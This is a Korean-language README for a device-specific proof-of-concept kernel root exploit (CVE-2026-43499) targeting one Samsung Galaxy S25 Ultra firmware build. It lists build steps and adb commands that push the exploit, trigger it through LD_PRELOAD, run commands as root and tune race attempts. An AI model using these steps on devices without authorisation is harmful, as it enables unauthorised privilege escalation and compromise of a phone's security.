
Galaxy S25 Ultra SM-S938N S938NKSUACZF1용 독립형 CVE-2026-43499 PoC
한국 Samsung Galaxy S25 Ultra에서 CVE-2026-43499에 대한 기기별 개념 증명 (PoC)입니다.
Model: SM-S938N
Codename: pa3q
Android: 16 / API 36
Build: S938NKSUACZF1
Display ID: BP4A.251205.006.S938NKSUACZF1
Fingerprint: samsung/pa3qksx/pa3q:16/BP4A.251205.006/S938NKSUACZF1_OKRACZF1:user/release-keys
Kernel: 6.6.98-android15-8-pd6ff1cd-abogkiS938NKSUACZF1-4k
Architecture: arm64 / 4K pages
위 펌웨어에서만 오프셋 및 구조 레이아웃이 유효합니다.
이 포트는 다음을 기반으로 합니다:
b850d3bddc74c3328d5fbcc0568d21962b55d949업스트림 Apache License 2.0은 LICENSE에 유지됩니다.
pa3q-S938NKSUACZF1 오프셋 및 커널 레이아웃을 추가했습니다.system_unbound_wq 사용자 모드 헬퍼 루트 경로를 추가했습니다.ANDROID_NDK_HOME을 Android NDK r29 또는 호환 도구 체인으로 설정하십시오:
make -j8
출력물:
build/cve-2026-43499
build/cve-2026-43499-root
adb push build/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
익스플로잇은 기본적으로 16번의 독립적인 시도와 20,000 마이크로초의 기본 pselect 지연을 사용합니다. 타이밍 데이터 수집 시 다음을 재정의하십시오:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
임시 루트 세션 및 유지된 할당은 재부팅까지 지속됩니다.
원클릭 설치 및 KernelSU 지원을 위해 Root My Galaxy를 사용하십시오.
소유하거나 명시적으로 테스트 권한이 있는 기기에서만 사용하십시오.